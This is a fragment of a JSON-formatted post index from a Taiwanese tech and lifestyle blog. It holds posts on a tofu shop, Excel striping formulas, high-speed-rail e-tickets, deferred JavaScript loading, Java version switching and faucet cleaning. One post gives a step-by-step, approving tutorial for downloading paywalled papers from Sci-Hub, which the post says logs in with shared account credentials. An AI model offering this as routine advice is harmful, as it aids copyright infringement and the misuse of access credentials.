元的一派胡塩酵素臭豆腐。\n臭豆腐上頭灑了些許黑胡椒鹽，配上泡菜與醬汁。\n臭豆腐酥脆的外皮，撒上黑胡椒鹽。\n如果喜歡吃辣的人，沾上一點辣醬，真的很好吃。\n臭豆腐外酥內軟，咬下去就可以感覺到裡面軟軟的酵素臭豆腐。\n配上酸酸脆脆的泡菜，口感很不錯！\n老闆在炸臭豆腐之前，還要先用紅外線測溫槍先測量一下油溫，老闆說炸臭豆腐的油溫並不是固定的，跟豆腐量的多寡還有其他各種因素都有關係，需要一些經驗的累積才能炸的好吃。\n這是準備下鍋的酵素臭豆腐，我是感覺這裡用的器具都很乾淨。\n這是炸臭豆腐的樣子。\n由於一派胡塩酵素臭豆腐是加盟體系的連鎖店，老闆說總公司會不定期派人秘密抽查各加盟店的營運狀況，確保每一家加盟店都維持跟總店一樣的品質，像我這樣背著相機的部落客進到店裡，老闆都會特別緊張，以為是總公司來抽查。 🙂\n店名：一派胡塩酵素臭豆腐（新市店）\n地址：台南市新市區信義街 138 號\n電話：0916-533-185\n營業時間：12：30 ～ 20：00（週二公休）\n網站：Facebook 粉絲專頁\n這家新市的一派胡塩酵素臭豆腐去年開幕時我去過一次，而今天又去了第二次，臭豆腐好吃，用餐環境整潔衛生，老闆代客親切，我個人推薦大家可以去嚐嚐看。\n如果一次訂購的量夠大，老闆也可以幫忙外送，南科很多的廠商都會訂這裡的臭豆腐。\n","permalink":"https://blog.gtwang.org/life/yi-pai-hu-yan-stinky-tofu-xinshi-tainan/","summary":"\u003cp\u003e一派胡塩酵素臭豆腐新市店是一家靠近南科的素食小吃，臭豆腐外酥內軟，用餐環境整潔衛生。\u003c/p\u003e\n\u003cp\u003e一派胡塩酵素臭豆腐是由長年深耕台灣素食界的阮榮周所創辦的，曾是五星級餐廳老闆的阮榮周，在 1997 年選擇用臭豆腐美味，征服南部夜市饕客族，而且要將新研發的酵素臭豆腐推向全台、以至國際舞台。\u003c/p\u003e","title":"[台南新市素食] 一派胡塩酵素臭豆腐新市店：五星級臭豆腐，近南科素食小吃"},{"content":"這是早晨省道上的收割機，在台灣南部開車，時常容易看見這樣有趣的景象。\n今天早上上班開車的路途中，行經台一線善化附近時，看見這台收割機，剛好今天有帶單眼相機，就趁這個機會拍了幾張照片。\n台灣的農業大部分都集中在南部，所以在南部的路上開車或騎車時，比較有機會看見類似這樣的耕耘機、曳引機或收割機在路在走，若是在北部的話應該是不太可能看到。\n我從新竹搬來台南之後，就一直想要把這個景象拍攝下來，不過由於之沒每次看到這類的農業機具時，單眼相機都沒有帶在身別，直到今天才剛好有這個機會。\n這台收割機是我在今天早上六點多時看到的，在南部如果習慣早起出門的人，應該很常有機會可以遇到。\n許多人會誤以為這類的農業機械不可以開上馬路，但根據農業機械使用證管理作業規範的規範，只要是有農機號牌的農業機械就可以合法上路：\n十六、依第九點第二項規定領有農機號牌之農機行駛於市區道路或公路時，其駕駛人除應遵守有關交通法令外，並應遵守下列規定： （一）農機於市區道路或公路行駛時，其駕駛人應隨身攜帶農業機械使用證。 （二）除農地搬運車及自走式噴霧車之駕駛人應領有重型機器腳踏車駕駛執照外，其餘種類農機之駕駛人應領有小型車普通駕駛執照。 （三）農機駕駛人應於道路慢車道或靠右邊行駛。但當地直轄市、縣（市）政府對行駛路線及時間有特別規定者，應從其規定。其在市區道路上行駛每小時速度不得超過十公里，公路上行駛不得超過二十公里。 （四）農機應具有喇叭、頭燈、方向燈及煞車燈等照明設備或裝置。農用曳引機附掛載具突出本機機身部分應加裝反光（警示）標識，供前後方來車辨識，夜間行駛道路時，附掛載具應具危險警告燈。 （五）農機於市區道路或公路行駛時，所載運之物品應以自營農場生產品、農業生產必須之資材及一般非營業性之農家自用品為限。 農機行駛於市區道路或公路時，其駕駛人違反規定者，由公路主管或警察機關依道路交通管理法令舉發、處罰。 第一項第二款所定農地搬運車及自走式噴霧車，自本規範修正生效日滿五年起，其駕駛人應領有小型車普通駕駛執照。\n以下是後來陸續在馬路上看到的農機。\n","permalink":"https://blog.gtwang.org/funny/claas-harvester-on-the-street-in-tainan/","summary":"\u003cp\u003e這是早晨省道上的收割機，在台灣南部開車，時常容易看見這樣有趣的景象。\u003c/p\u003e\n\u003cp\u003e今天早上上班開車的路途中，行經台一線善化附近時，看見這台收割機，剛好今天有帶單眼相機，就趁這個機會拍了幾張照片。\u003c/p\u003e","title":"台南大馬路上的收割機"},{"content":"Sci-Hub 是一個可以免費下載期刊論文全文電子檔的網站，推倒通往科學道路上的圍籬。\n研究生在做研究、寫論文的時候，都會需要閱讀大量的國際期刊論文，而一般大學的圖書館都會付費購買一些有全文電子檔的論文資料庫，提供校內的學生使用，但如果自己要找的論文在學校購買的資料庫中沒有提供，遇到這樣的狀況就非常麻煩，可能要拜託其他學校的同學幫忙下載，或是直接付費購買。\nSci-Hub 是一位出生於哈薩克的神經科學研究者 Alexandra Elbakyan 所創立的網站，此網站成立的宗旨在於讓使用者能夠免費下載論文全文，只要輸入付費論文的網址，Sci-Hub 就會從來自全球志願者提供的帳號與密碼中隨機選擇一組來登入系統，下載並自動備份論文的電子檔，目前這個網站從成立至今已經收錄超過 4,700 萬篇論文全文！\n名稱：Sci-Hub\n網址：https://www.sci-hub.box/\n以下我們介紹 Sci-Hub 的使用步驟教學。\nSci-Hub 免費下載期刊論文 Sci-Hub 可以使用論文網址、PMID（PubMed Unique Identifier）、DOI（Digital Object Identifier）或關鍵字來搜尋論文。\n使用論文網址下載 Step 1\n首先從期刊的網站上搜尋想要下載的論文，然後將論文的網址複製下來。這裡我拿我研究所做的一篇貝氏統計的論文來示範：\nStep 2\n開啟 Sci-Hub 的網頁，將期刊論文的網址貼上去，並點選右邊的「open」按鈕。\nStep 3\n接著就會出現該論文的全文 PDF 電子檔了。\nStep 4\n將 PDF 檔另存新檔之後，就可以用 Acrobat Reader 開啟觀看或列印了。\nSci-Hub 並沒有限制要使用那一個資料庫或期刊網站，常見的期刊網站似乎都有支援，以下示範下載 ScienceDirect 網站的論文 PDF 檔。\nStep 1\n複製 ScienceDirect 的論文網址。\nStep 2\n在 Sci-Hub 網站上貼上 ScienceDirect 的論文網址 。\nStep 3\n這樣就可以下載全文的 PDF 電子檔了。\nStep 4\n另存新檔後，即可用 Acrobat Reader 開啟。\n使用論文的 DOI 碼下載 數位物件識別號（Digital Object Identifier，簡稱 DOI）是一套識別數位資源的機制，涵蓋視訊、報告或書籍等，就類似一般書籍與期刊的 ISBN 或 ISSN 碼。DOI 是智慧版權物件在網路上的唯一識別碼，可以直接轉換成永久固定的網址，讓研究者能迅速地找到所需要的文章。\n目前大部分的國際期刊論文都會有 DOI 碼，以下示範如何在 Sci-Hub 上使用 DOI 下載全文 PDF 電子檔。\nStep 1\n通常在期刊論文的摘要頁面都可以找到論文的 DOI 碼，請將這個 DOI 碼複製下來：\nStep 2\n在 Sci-Hub 網站上貼上論文的 DOI 碼，按下右方的「open」按鈕，這樣就可以直接下載該篇論文的全文 PDF 電子檔了。\n使用論文的 PMID 碼下載 PMID（PubMed 唯一標識碼，PubMed Unique Identifier）是 PubMed 搜尋引擎中收錄的生命科學和醫學等領域的文獻編號，對於生醫領域的研究者比較有用。\nStep 1\nPMID 跟 DOI 類似，在生醫領域的論文章摘要中通常都可以找到，找到之後 PMID 碼之後，把它複製下來。\nStep 2\n在 Sci-Hub 網站上將 PMID 碼貼上去，按下右方的「open」按鈕。\nStep 3\n這樣就可以直接下載該篇論文的全文 PDF 電子檔了。\n","permalink":"https://blog.gtwang.org/free/sci-hub-download-papers-for-free/","summary":"\u003cp\u003eSci-Hub 是一個可以免費下載期刊論文全文電子檔的網站，推倒通往科學道路上的圍籬。\u003c/p\u003e\n\u003cp\u003e研究生在做研究、寫論文的時候，都會需要閱讀大量的國際期刊論文，而一般大學的圖書館都會付費購買一些有全文電子檔的論文資料庫，提供校內的學生使用，但如果自己要找的論文在學校購買的資料庫中沒有提供，遇到這樣的狀況就非常麻煩，可能要拜託其他學校的同學幫忙下載，或是直接付費購買。\u003c/p\u003e","title":"Sci-Hub 免費下載期刊論文全文電子檔的網站"},{"content":"本文將介紹如何在 Excel 中設定表格的顏色，讓列與列之間以不同的顏色間隔，讓人更容易閱讀與辨識。\n使用不同的顏色來標示 Excel 表格中不同列的資料是一個很常見的技巧，不但可以讓資料清楚的呈現，而且也讓表格更美觀。在資料量比較少的時候，我們可以很容易的手動設定每一列的顏色，但若遇到比較大量的資料時，表格顏色的設定就會需要一些技巧。\n以下我們整理了一些自動設定 Excel 表格行列顏色的方法，透過這些方式可以將龐大的表格依照指定的規則，一次設定好行或列的顏色，既方便又快速。\n表格顏色樣式 在 Excel 的中的常用工具列中，有一個「格式化為表格」的功能，這個功能可以用來快速設定表格的顏色或佈景主題。\nStep 1\n點選「格式化為表格」。\nStep 2\n選擇色彩配置。\nStep 3\n選擇表格的範圍。\nStep 4\n這樣就建立了一個有顏色條紋的 Excel 表格了。\n自訂條紋與顏色 除了使用 Excel 內建的配色之外，也可以自訂表格的顏色或各種樣式，例如可以設定條紋的大小，調整顏色更換的規則。\nStep 1\n首先從Excel 內建的配色之中，選擇一個來修改。在表格樣式上點選滑鼠右鍵，選擇「複製」。\nStep 2\n填入自訂的表格樣式名稱，然後選擇「第一列條紋」，設定「條紋大小」。\nStep 3\n選擇「第二列條紋」，並設定「條紋大小」。\n如果要更改條紋顏色的話，可以點選「格式」。\nStep 4\n在「儲存格格式」中，可以調整細部的顏色與字型等樣式。\nStep 5\n設定好自訂的樣式之後，用同樣的方式將此樣式套用至 Excel 表格中。\nStep 6\n套用自訂表格樣式後，就完成了兩列與三列顏色間隔的表格了。\n帶狀欄表格 一般有橫條紋的表格稱為「帶狀列」的表格，如果希望將條紋改為直式的，可以從「帶狀欄」的選項上調整。\nStep 1\n將表格選取之後，從「設計」的籤頁中調整「帶狀列」與「帶狀欄」的選項，如果要設定成直條紋的表格，就把「帶狀列」選項取消，只選取「帶狀欄」選項。\nStep 2\n這樣表格的條紋就會變成直式的。\nStep 3\n若要修改「帶狀欄」表格的條紋大小，作法跟「帶狀列」的表格相同，只要將表格樣式複製之後，再自行修改「第一欄條紋」與「第二欄條紋」的大小即可。\nStep 4\n修改過後，即可得到自訂的條紋大小或樣式配置。\n格式化條件 Excel 的格式化條件功能是一個比較進階的用法，它允許使用者撰寫公式來判斷每一格儲存格的樣式，功能當強大、用途也非常廣泛，這裡我介紹如何利用格式化條件來設定 Excel 表格的條紋。\nStep 1\n首先選擇要套用條紋的表格區域。\nStep 2\n點選「設定格式化的條件」，選擇「新增規則」。\nStep 3\n選擇「使用公式來決定要格式化哪些儲存格」，並輸入公式：\n=MOD(ROW(),2)=0 這裡的 MOD 是計算餘數的函數，而 ROW 則是列數，而這整個公式會選出所有偶數的列（列數除以 2 餘數為 0 的列）。\nStep 4\n選擇「格式」。\nStep 5\n設定儲存格格式，這裡設定樣式會套用至所有上述公式成立的儲存格中。\nStep 6\n設定好之後，所有偶數的列就會自動套用剛剛設定的儲存格樣式。\nStep 7\n我們可以尋著相同的方式，將公式稍微更改一下：\n=MOD(ROW(),2)=1 把奇數列設定為不同的顏色：\n各種不同的公式 Excel 格式化條件配合不同的公式就有不一樣的變化，以下是一些公式的範例。\n列數減去 3 除以 6 的餘數大於或等於 3：\n=MOD(ROW()-3,6)\u0026gt;=3 列數減去 2 除以 4 的餘數大於或等於 2：\n=MOD(ROW()-2,4)\u0026gt;=2 列數減去 2 除以 4 的餘數加 1 小於或等於 2：\n=MOD(ROW()-2,4)+1\u0026lt;=2 三種公式配合之下，就可以讓表格有三種顏色循環：\n=MOD(ROW($A2),3)=0 =MOD(ROW($A2),3)=1 =MOD(ROW($A2),3)=2 如果要讓表格有直式的條紋，可以將列（ROW）改為行（COLUMN），其餘規則都類似：\n=MOD(COLUMN(),2)=1 行數減去 1 除以 4 加 1 小於或等於 2 ：\n=MOD(COLUMN()-1,4)+1\u0026lt;=2 這是三種直式條紋的公式，可產生三種顏色循環的直條紋：\n=MOD(COLUMN(),3)=0 =MOD(COLUMN(),3)=1 =MOD(COLUMN(),3)=2 依照儲存格內容判斷顏色 Excel 的格式化條件功能也可以讓我們依照資料的內容來決定每個列的顏色，這裡我們示範如何將資料依據某個欄位分組，然後以顏色區分不同組別的資料。\nStep 1\n開啟含有組別欄位的資料，這裡示範以第二欄的 Plant 作為分組的依據。\nStep 2\n在表格的後方新增一個群組欄位，在 G2 儲存格填入類似這樣的公式，將 Plant 的欄位值轉為 0 與 1 的交錯值：\n=MOD(IF(ROW()=2,0,IF(B2=B1,G1, G1+1)), 2) 這裡的 B1、B2 對應的是 Plant 欄位值，而 G1 則是新增的群組欄位。將此公式填入 G2 儲存格之後，用滑鼠拖曳的方式，把這個公式套用至整個新增的群組欄位，就會得到這樣的結果：\n有了新的群組欄位之後，就可以依照這個欄位的數值來填入列的顏色。\nStep 3\n選取表格中所有資料（標題列除外）。\nStep 4\n設定格式化的條件，新增格式化規則，公式使用：\n=$G2=0 與\n=$G2=1 這兩個公式分別會對應新群組欄位為 0 與 1 的列。\nStep 5\n套用格式化條件之後，Excel 就會依據新群組欄位來設定每一列的顏色，這樣表格就會以顏色來區分不同的群組，讓資料一目了然。\n參考資料 AbleBits HTG ","permalink":"https://blog.gtwang.org/windows/excel-alternate-row-column-colors/","summary":"\u003cp\u003e本文將介紹如何在 Excel 中設定表格的顏色，讓列與列之間以不同的顏色間隔，讓人更容易閱讀與辨識。\u003c/p\u003e\n\u003cp\u003e使用不同的顏色來標示 Excel 表格中不同列的資料是一個很常見的技巧，不但可以讓資料清楚的呈現，而且也讓表格更美觀。在資料量比較少的時候，我們可以很容易的手動設定每一列的顏色，但若遇到比較大量的資料時，表格顏色的設定就會需要一些技巧。\u003c/p\u003e","title":"Excel 顏色條紋設定教學，表格列與列之間以不同顏色間隔"},{"content":"本文介紹如何使用台灣高鐵 T Express 手機 App 購買車票、付款取票，並且使用手機的電子票券通關，以及上網下載購票證明的教學。\n我們之前介紹過網路購票與 7-ELEVEN 超商購票兩種事先預購高鐵票的方式，而如果您不想要跑便利商店取票的話，其實可以考慮使用台灣高鐵的 T Express 手機 App 來購買電子票券。\n用台灣高鐵的 T Express 手機 App 來購買車票有許多優點，除了隨時隨地都可以上網訂票與刷卡付款之外，還可以用手機直接透過網路領取電子票券，不管人在哪裡，從訂票、付款到取票的過程只要幾分鐘，非常快速又方便。\n用手機買高鐵票 這裡我以 Android 的手機來做示範，以下是使用台灣高鐵 T Express App 買票的過程。\nStep 1\n首先從 Google Play 商店上搜尋「台灣高鐵」，安裝「台灣高鐵 T Express 手機快速訂票通關服務」這個官方的 App。\nStep 2\n打開台灣高鐵 T Express 手機 App，從下方的選單選擇「訂票」，選擇起訖車站、去程時間、車票種類、車廂種類與乘客人數，然後選擇「車次查詢」。\n這裡會列出去程時間附近的車次，請選擇自己要搭乘的班次。\nStep 3\n輸入取票人資訊，資料填寫完成後，按下「送出訂位資訊」。\nStep 4\n檢查訂位明細是否正確，若沒問題則按下「確認車次」，接著就會顯示已經訂購的票證資訊。\nStep 5\n接著要進行付款，點選票證資訊下方的「立即付款」，並選擇付款方式，這裡我示範一般信用卡的付款方式。\nStep 6\n輸入信用卡卡號資訊，接著透過手機簡訊取得交易密碼，輸入交易密碼之後，送出即可付款。\nStep 7\n付款成功之後，點選「立即取票」就可以馬上領取高鐵的電子票卷。\nStep 8\n在畫面下方選擇「我的車票」，就會顯示所有已經購買的高鐵票，點選車票之後即可顯示乘車條碼。\n點選「查看票證詳細資訊」可以顯示車票的詳細資訊。\n高鐵手機通關 用台灣高鐵 T Express 手機 App 購買電子票卷之後，就不需要到便利商店或是售票櫃台領票了，直接拿著手機就可以驗票搭車。\nStep 1\n在進入高鐵驗票閘門之前，先把手機準備好，讓手機顯示電子票卷的二維乘車條碼。\nStep 2\n手機電子票卷的驗票方式跟一般便利商店領取的高鐵票一樣，都是透過高鐵驗票閘門上的條碼感應區來掃描。\nStep 3\n把手機上的二維乘車條碼對準這個條碼感應區，讓它掃描一下，這樣閘門就會打開了。\nStep 4\n進入月台之後，就可以依照電子車票上的座位資訊來搭乘了。\n下載高鐵購票證明 高鐵電子票卷沒有實體的票根，所以如果需要報帳的話，可以從台灣高鐵的網站下載購票證明。\nStep 1\n開啟台灣高鐵 T Express 手機票證購票資訊查詢系統的網站，選擇「電子車票證明」。\nStep 2\n輸入訂位代號、車票號碼、乘車日期與驗證碼，然後按下「開始查詢」。\nStep 3\n查詢出來之後，就可以點選下方購票證明的下載連結，下載購票證明。\nStep 4\n由於購票證明只能下載一次，請確認自己填寫的資訊是否正確。\nStep 5\n下載下來的電子車票購票證明是一個 PDF 檔，上面有一個高鐵的票務證明章。\n一般學校或是政府單位也可以用這種證明來報帳，以下是行政院主計總處的書函，全國各大專院校與政府單位都應該有收到這個公文。\n受文者：教育部會計處 發文日期：中華民國104年5月6日 發文字號：主會財字第1041500063B號 速別：最速件 密等及解密條件或保密期限： 附件：\n主旨：有關以手機票證搭乘台灣高速鐵路取據之購票證明核銷經費一案，請參考說明辦理。\n說明：近年來主計長信箱屢有機關反映以高鐵購票證明核銷經費之疑義，依國內出差旅費報支要點第5點規定略以，搭乘高鐵者，應檢附票根或購票證明文件覈實報支，又據高鐵公司告以，以手機票證方式搭乘高鐵者，可於搭乘日出站時臨櫃取得或透由網路下載購票證明。爰透由上開方式取得之購票證明，均可作為支出憑證，又基於網路下載購票證明係由當事人自行列印，故請由報支者本誠信原則就其真實性負責，並於該證明簽名後作為報支憑證。\n正本：各一級主計機構 副本：行政院主計總處公務預算處\n","permalink":"https://blog.gtwang.org/life/thsr-t-express-mobile-ticket-tutorial/","summary":"\u003cp\u003e本文介紹如何使用台灣高鐵 T Express 手機 App 購買車票、付款取票，並且使用手機的電子票券通關，以及上網下載購票證明的教學。\u003c/p\u003e\n\u003cp\u003e我們之前介紹過\u003ca href=\"/life/thsr-online-ticket-booking-system-and-ibon/\"\u003e網路購票\u003c/a\u003e與 \u003ca href=\"/life/thsr-ibon-ticket-booking-system/\"\u003e7-ELEVEN 超商購票\u003c/a\u003e兩種事先預購高鐵票的方式，而如果您不想要跑便利商店取票的話，其實可以考慮使用台灣高鐵的 T Express 手機 App 來購買電子票券。\u003c/p\u003e","title":"台灣高鐵 T Express 手機購票、付款取票與通關教學"},{"content":"這裡介紹實務上延遲載入各種 JavaScript 的作法，包含 facebook、Google+ 與 twitter 等各類工具。\n在網頁中我們可以使用 async 或 defer 的方式來引入外部的 JavaScript 檔案，這樣可以減輕外部 JavaScript 檔對 HTML 解析的效能影響，而這裡我們要介紹另一種在實務上延遲載入各種 JavaScript 程式碼的作法，包含常見的社群按鈕以及各種 JavaScript 工具，例如 facebook、Google+ 與 twitter 等。\n延遲載入 JavaScripts 若單純只是使用 defer 來引入 JavaScript 檔案的話，瀏覽器會在背景載入該 JavaScript 檔，然後在 HTML 解析完成後執行，雖然不會打斷 HTML 的解析，但是多少還是會佔用網路連線與頻寬，影響其他網頁元素的載入速度。\n有另外一種作法是將這個 JavaScript 程式碼的內容貼在 \u0026lt;/body\u0026gt; 之前，但是這樣做也是會有同樣的問題，它會在完整的網頁載入完成之前就先執行 JavaScript 的內容。\n如果要讓 defer.js 這個 JavaScript 檔案盡可能延後載入，可以將下面這段 JavaScript 放置在 \u0026lt;/body\u0026gt; 之前：\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; function downloadJSAtOnload() { var element = document.createElement(\u0026#34;script\u0026#34;); element.src = \u0026#34;defer.js\u0026#34;; document.body.appendChild(element); } if (window.addEventListener) window.addEventListener(\u0026#34;load\u0026#34;, downloadJSAtOnload, false); else if (window.attachEvent) window.attachEvent(\u0026#34;onload\u0026#34;, downloadJSAtOnload); else window.onload = downloadJSAtOnload; \u0026lt;/script\u0026gt; 這樣的作法是在整個完整的網頁（包含網頁的圖片、CSS 與 JavaScript 檔）都載入完成之後，才使用 JavaScript 插入 defer.js 這個 JavaScript 檔，所以對整個網頁內容的影響是最小的。\n我們可以利用這樣的作法，將許多不同來源的 JavaScript 程式全部放在一個 defer.js 中，這樣不僅可以讓程式碼更精簡，也可以減少連線數。\nFacebook 按鈕 facebook 按鈕預設的 JavaScript 程式碼分為兩部份，第一個部份是 facebook 的 JavaScript SDK，官方建議放在 \u0026lt;body\u0026gt; 之後，而第二部份則是外掛程式顯示位置的 HTML 碼：\n\u0026lt;!-- Facebook JavaScript SDK，放置在 body 中 --\u0026gt; \u0026lt;div id=\u0026#34;fb-root\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;script\u0026gt;(function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = \u0026#34;//connect.facebook.net/zh_TW/sdk.js#xfbml=1\u0026amp;version=v2.6\u0026amp;appId=241371325930982\u0026#34;; fjs.parentNode.insertBefore(js, fjs); }(document, \u0026#39;script\u0026#39;, \u0026#39;facebook-jssdk\u0026#39;));\u0026lt;/script\u0026gt; \u0026lt;!-- 將此程式碼放置在你希望外掛程式顯示的頁面位置 --\u0026gt; \u0026lt;div class=\u0026#34;fb-like\u0026#34; data-href=\u0026#34;http://blog.gtwang.org/\u0026#34; data-layout=\u0026#34;standard\u0026#34; data-action=\u0026#34;like\u0026#34; data-show-faces=\u0026#34;true\u0026#34; data-share=\u0026#34;true\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; facebook 這種方式是讓瀏覽器在解析 HTML 時就直接載入並執行他的程式碼，這樣會直接影響網頁載入的速度，若要改善這個問題可以將這裡 \u0026lt;script\u0026gt; 裡面的 JavaScript 程式碼搬到剛剛我們上面介紹的 defer.js 中，而其餘的純 HTML 碼則維持不變，這樣就可以強制 facebook 的外掛程式在網頁完全載入之後才執行。\nTwitter 按鈕 twitter 按鈕的程式碼分為兩部份，第一行是 HTML 碼，而第二行則是 JavaScript 碼：\n\u0026lt;a href=\u0026#34;https://twitter.com/share\u0026#34; class=\u0026#34;twitter-share-button\u0026#34;\u0026gt;Tweet\u0026lt;/a\u0026gt; \u0026lt;script\u0026gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[],p=/^http:/.test(d.location)?\u0026#39;http\u0026#39;:\u0026#39;https\u0026#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+\u0026#39;://platform.twitter.com/widgets.js\u0026#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, \u0026#39;script\u0026#39;, \u0026#39;twitter-wjs\u0026#39;);\u0026lt;/script\u0026gt; twitter 這種載入方式也是會影響 HTML 解析的，我們可以將這裡第二行的 JavaScript 程式碼移到上面介紹的 defer.js 中，而第一行的 HTML 碼則維持不變，這樣就可以改善網頁載入的問題。\nGoogle Plus 按鈕 Google Plus 所提供的程式碼本身就已經有使用 defer 的方式載入了，如果將它的 JavaScript 程式碼放在 \u0026lt;/body\u0026gt; 之前的話，對網頁載入的影響就會比較小。\n\u0026lt;!-- 將這個標記放在標頭中，或放在內文結尾標記前面。 --\u0026gt; \u0026lt;script src=\u0026#34;https://apis.google.com/js/platform.js\u0026#34; async defer\u0026gt; {lang: \u0026#39;zh-TW\u0026#39;} \u0026lt;/script\u0026gt; \u0026lt;!-- 在您要顯示「+1 按鈕」的位置放上這個標記。 --\u0026gt; \u0026lt;div class=\u0026#34;g-plusone\u0026#34; data-annotation=\u0026#34;inline\u0026#34; data-width=\u0026#34;300\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; 如果要讓 Google Plus 的 JavaScript 程式碼完全不影響網頁的載入，可以修改上面的 downloadJSAtOnload 函數，仿照 defer.js 的載入方式，插入 Google Plus 用的 JavaScript 程式碼：\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; function downloadJSAtOnload() { var element = document.createElement(\u0026#34;script\u0026#34;); element.src = \u0026#34;defer.js\u0026#34;; document.body.appendChild(element); // 加入 Google Plus 用的 JavaScript var googlePlusJS = document.createElement(\u0026#34;script\u0026#34;); googlePlusJS.src = \u0026#34;https://apis.google.com/js/platform.js\u0026#34;; googlePlusJS.innerHTML = \u0026#34;{lang: \u0026#39;zh-TW\u0026#39;}\u0026#34;; document.body.appendChild(googlePlusJS); } if (window.addEventListener) window.addEventListener(\u0026#34;load\u0026#34;, downloadJSAtOnload, false); else if (window.attachEvent) window.attachEvent(\u0026#34;onload\u0026#34;, downloadJSAtOnload); else window.onload = downloadJSAtOnload; \u0026lt;/script\u0026gt; 這樣一來 Google Plus 的 JavaScrit 對於網頁的效能影響又會降低一些。\n以上我們介紹這些延遲載入 JavaScript 的方式，其實適用於各種 JavaScript 外掛程式，原則上就是只要碰到 inline 的 JavaScript 就直接放進 defer.js 中，從外部引入的 JavaScript 檔就仿照 defer.js 的方式載入。\n","permalink":"https://blog.gtwang.org/web-development/practical-method-for-multiple-deferred-javascripts/","summary":"\u003cp\u003e這裡介紹實務上延遲載入各種 JavaScript 的作法，包含 facebook、Google+ 與 twitter 等各類工具。\u003c/p\u003e\n\u003cp\u003e在網頁中我們可以\u003ca href=\"/web-development/using-defer-or-async-with-scripts-in-wordpress/\"\u003e使用 async 或 defer 的方式來引入外部的 JavaScript 檔案\u003c/a\u003e，這樣可以減輕外部 JavaScript 檔對 HTML 解析的效能影響，而這裡我們要介紹另一種在實務上延遲載入各種 JavaScript 程式碼的作法，包含常見的社群按鈕以及各種 JavaScript 工具，例如 facebook、Google+ 與 twitter 等。\u003c/p\u003e","title":"延遲載入 JavaScripts 的實務作法，加速網頁顯示速度"},{"content":"這裡介紹如何切換 Mac OS X 的 Java 版本，根據不同程式選擇適合的 JRE 版本。\n有時候因為某些舊版程式的需要，我們會在電腦中安裝各種不同的 Java 版本，而每一個程式需要的 Java 版本也都不一樣，以下是在 Mac OS X 中切換 JRE 版本的方法。\n設定預設 Java 版本 首先查詢一下自己的 Mac OS X 中有安裝的 Java 版本有哪些：\n/usr/libexec/java_home -V Matching Java Virtual Machines (4): 1.8.0_51, x86_64:\t\"Java SE 8\"\t/Library/Java/JavaVirtualMachines/jdk1.8.0_51.jdk/Contents/Home 1.7.0_45, x86_64:\t\"Java SE 7\"\t/Library/Java/JavaVirtualMachines/jdk1.7.0_45.jdk/Contents/Home 1.6.0_65-b14-468, x86_64:\t\"Java SE 6\"\t/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home 1.6.0_65-b14-468, i386:\t\"Java SE 6\"\t/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home /Library/Java/JavaVirtualMachines/jdk1.8.0_51.jdk/Contents/Home 在 ~/.bash_profile 中加入 JAVA_HOME 的設定：\nexport JAVA_HOME=`/usr/libexec/java_home -v 1.8.0_51` java_home 這個指令允許使用部分的版本名稱來指定，所以我們也可以只指定主要的 Java 版本，這樣比較簡潔：\nexport JAVA_HOME=`/usr/libexec/java_home -v 1.8` 設定好之後，以後開啟終端機時，Java 的執行環境預設就會是自己選定的版本了：\njava -version java version \"1.8.0_51\" Java(TM) SE Runtime Environment (build 1.8.0_51-b16) Java HotSpot(TM) 64-Bit Server VM (build 25.51-b03, mixed mode) 個別程式設定 Java 版本 如果某些特定的程式需要不同版本的 Java 執行環境，我們可以在指令稿中先設定好 Java 的版本，再執行該程式：\n#!/bin/sh export JAVA_HOME=`/usr/libexec/java_home -v 1.7` /your/program 透過這樣的方式，我們就可以針對不同的程式設定不同的 JRE 版本，而且也不會影響到預設的 Java 執行環境。\n如果要在終端機中直接執行程式，可以用這樣的方式來對個別的指令設定 Java 版本：\nJAVA_HOME=`/usr/libexec/java_home -v 1.7` /your/program 參考資料 stackoverflow ","permalink":"https://blog.gtwang.org/mac-os/how-to-set-or-change-the-default-java-jdk-version-on-os-x/","summary":"\u003cp\u003e這裡介紹如何切換 Mac OS X 的 Java 版本，根據不同程式選擇適合的 JRE 版本。\u003c/p\u003e\n\u003cp\u003e有時候因為某些舊版程式的需要，我們會在電腦中安裝各種不同的 Java 版本，而每一個程式需要的 Java 版本也都不一樣，以下是在 Mac OS X 中切換 JRE 版本的方法。\u003c/p\u003e","title":"如何切換 Mac OS X 的 Java 版本設定"},{"content":"這裡介紹如何使用白醋或檸檬酸來清除水龍頭上白色的水垢，適用於廚房、浴室以及各種洗手台與流理台。\n許多人家中的水龍頭使用久了之後，表面都會出現一層白色的水垢，讓水龍頭看起來髒髒舊舊的，而且用一般的清潔劑或肥皂也都很難把它刷洗乾淨。\n這是我家浴室的水龍頭，乍看之下好像很久沒打掃一樣，以下我們教大家如何把這些水垢清除。\n準備工具 這種水垢的化學成份可能有好多種，而最主要的成份是碳酸鈣（CaCO3），若要清除這種水垢，可以使用白醋或檸檬酸來處理，這兩種效果都差不多，選擇哪一種都可以。\n食用的白醋取得方便，各大賣場都會有販售，不過成本比較高，而且有嗆味；而檸檬酸的價格比較低，也不會有刺鼻的氣味，只不過不太好取得（通常是化工原料行才有在賣），一般人從網路上買會比較方便，直接在拍賣網站上用「檸檬酸」關鍵字去搜尋就可以找得到，在挑選時選擇食品級、清潔用的就可以了，一公斤不到五十元，買一次就可以用好久。\n一般外面買到的檸檬酸是顆粒狀的，看起來就像白砂糖一樣。\n除了檸檬酸或是白醋之外，最好也準備這種比衛生紙還要厚一點的紙巾，不管是廚房用的或是擦手的都可以，只要沾濕之後不容易破掉就可以，這樣在包水龍頭的時候會比較方便。\n清除水垢步驟 這裡我示範使用檸檬酸來清潔水垢，以下是操作步驟。\nStep 1\n首先拿一點檸檬酸，加一點水調成檸檬酸溶液，至於檸檬酸與水的比例大約是 1:30 左右即可，如果水垢比較嚴重的水龍頭，可以調稍微濃一點，大約是 1:10 